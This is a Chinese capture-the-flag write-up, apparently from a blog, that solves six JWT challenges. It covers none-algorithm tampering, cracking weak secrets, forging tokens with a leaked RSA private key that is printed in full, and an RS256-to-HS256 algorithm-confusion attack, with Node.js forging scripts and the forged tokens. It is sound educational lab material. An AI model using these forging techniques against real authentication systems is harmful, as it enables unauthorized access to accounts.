CTF-Show-JWT系列
CTF-Show-JWT系列
Problem 1
前置知识
思路
尝试访问:
https://d6bd63c3-e67e-477a-ba67-fc6c81604997.challenge.ctf.show/index.php/admin/
抓包发现auth为一串base64编码,对其进行解码后发现:这是jwt认证的token。
我们仔细观察发现,该jwt采用空算法加密,这就代表着我们可以随意篡改明文数据,来绕过认证。
通过HackBar工具,将user改为admin,再进行base64编码,再放到数据包中,尝试访问该链接。
得到flag
Problem 2
前置知识
这里简单说一下,JWT的认证过程:
JWT字符串有三部分构成:header、payload和verify
- header存放加密算法等信息
- payload存放明文数据
- verify存放加密密钥等信息
这三个部分均会base64编码,用.来连接。
JWT单密钥验证的情况:
当用户A给用户B发送数据时(假设,用户A和用户B相互得知密钥),JWT函数会将数据+密钥采用指定算法加密,得到密文。
当用户B接受到数据时,会尝试使用密钥+数据采用指定算法加密,将加密后的密文和所得到的密文进行比较,如果相等,那么数据没有被恶意篡改,否则就会被恶意篡改。
由于中间人不知道密钥,所以当他尝试使用未知密钥+篡改后的数据采用指定算法加密后,将密文发送给用户,用户使用自己的密钥和篡改后的明文采用指定算法加密后,发现密文比较不正确,判断数据被篡改。
当然,在以上过程中如果中间人知道了密钥,那么就无法被判断是篡改数据而是用户之间正常的交互数据。
思路
将拿到的JWT字符串进行解码,得到如下信息:
发现不是空算法加密,而是采用了HS256算法进行加密,因此我们无法直接篡改明文数据,需要得知密钥才可以。
我们尝试密钥为123456(存在弱口令问题),user修改为admin
将修改后的JWT字符串放到数据包中,访问之前提到的链接,最终得到flag
Problem 3
思路
跟Problem 2 一样的步骤,一样的思路,一样的弱口令...
Problem 4
前置知识
介绍一款常用的字典框架:
pydictor:https://github.com/LandGrey/pydictor/blob/master/README_CN.md
使用该框架可以生成很多有用的字典~
介绍一款jwt爆破工具:jwt-cracker
思路
直接使用jwt-cracker爆破密钥即可。
密钥为aaab
更改,拿到flag
Problem 5
前置知识
采用公私钥数字签名:
- 用户A将明文采用A的私钥加密
- 将密文和明文都发送给B
- B采用A的公钥解密,判断两个明文是否一致,如果一致,那么未遭篡改,否则就被篡改。
- 由于中间人没有A的私钥,因此无法伪造签名。
采用报文摘要(哈希值)数字签名:
- 用户A将明文采用哈希函数进行哈希,形成报文摘要
- 用户A采用A的私钥对摘要加密,形成密文
- 用户A将明文和密文进行发送
- 用户B将密文采用A的公钥解密,得到报文摘要
- 用户B对明文采用与A一样的哈希函数进行哈希,形成报文摘要
- 将两个报文摘要进行比较,如果一致,那么未被篡改,否则就会被篡改
- 由于中间人没有A的私钥,因此无法伪造签名。
注意:在以上过程中,哈希函数的作用在于:不需要对整个报文进行加密,只需要对哈希值进行加密即可,加速了加密的过程,提高了效率。
思路
//app.js
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
//读取私钥
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
//签发jwt(私钥加密)
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
//获取公钥
var cert = fs.readFileSync(process.cwd()+'//public/public.key');
//进行验证(数字签名,私钥加密,公钥解密)
jwt.verify(auth, cert, function(err, decoded) {
//如果user为admin,那么获取flag
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
根据文件发现:在A和B的传输过程中,公钥和私钥竟然泄露了,那么我们可以下载公钥和私钥伪造A的身份来发送数据,从而得到flag.
访问:http://71a87285-ff6c-48fd-a3e3-86dc4531885a.challenge.ctf.show/public.key
访问:https://71a87285-ff6c-48fd-a3e3-86dc4531885a.challenge.ctf.show/private.key
public.key
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNioS2aSHtu6WIU88oWzpShhkb
+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnX
YqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjA
bG1Naz58ibbtogeglQIDAQAB
-----END PUBLIC KEY-----
private.key
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----
安装node.js,安装jsonwebtoken,使用泄露的私钥生成JWT密文,从而绕过验证,得到flag。
npm install jsonwebtoken --save
node.js脚本
const jwt = require('jsonwebtoken');
const fs = require('fs');
//获取私钥
var privateKey = fs.readFileSync(process.cwd()+'\\private.key');
//采用私钥签发JWT
var token = jwt.sign({user:'admin'},privateKey,{algorithm:'RS256'});
console.log(token);
以上内容来自:https://blog.csdn.net/Jayjay___/article/details/132062263
所生成的JWT串:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MDk1MjUyMzh9.Y-hQYUOGoL0ILtY5OYTnFibYU1Jb_xe1xG-hu-2tXGDm5LbAWs0AG0jQ5kJtdmc27stgjWTEU5-Cqq-dMavIny17S7A6UIUT22X7qjFl4iZLwGSIusquZFdVhmODhMo7_CiaUovSrGsk0mVAxnhjvoi5AHbFFfJw8OWSrtYEsOw
放入数据包,得到flag
Problem 6
思路
下载项目源码,进行审计
//index.js
var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//routes/public.key'); // get public key
jwt.verify(auth, cert,function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin'+err);
}
});
});
module.exports = router;
发现源码中,只存在公钥文件
public.key
-----CTFSHOW 36D BOY -----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfdIGdsPuxSGPuosgarjZ7zO4t
HHmQ7+6WUiKBA0ykcXe6aK9zcVVKCcEwyMbENgTF4Et8RjZ3NKs1Co74Q+4gII5G
IgQFSS0PzTOKmoTY1fnA6+jqBquV4RnU283kgdaKmkaSRdiwsW2EaagMgZdG6WJk
65RmH98bgnIAGW5nawIDAQAB
-----END PUBLIC KEY-----
根据源码,解密过程采用公钥,那么我们可以构造一个JWT字符串,采用公钥加密,修改算法为对称密钥加密算法(强制性将非对称加密->对称加密)
const jwt = require('jsonwebtoken');
const fs = require('fs');
//获取公钥
var privateKey = fs.readFileSync(process.cwd()+'\\public.key');
//采用公钥签发JWT
//并修改算法为对称加密算法:HS256
var token = jwt.sign({user:'admin'},privateKey,{algorithm:'HS256'});
console.log(token);
生成一段JWT字符串
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MDk1MjcxNDh9.amliI_C6ZQClhCzdEC8cv9TuOayZa5-Q5v5nEN6TKqU
提交获得flag
总结
JWT常见的绕过思路:
- 单密钥加密
- 单密钥泄露
- 公私钥加密
- 私钥泄露,导致伪造JWT
- 公钥泄露,导致伪造JWT(强制修改,非对称->对称)
- 空算法加密
- 密钥过于简单,爆破
- kid值篡改
注:在JWT中,只要密钥泄露,都会被伪造JWT令牌,从而绕过认证!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!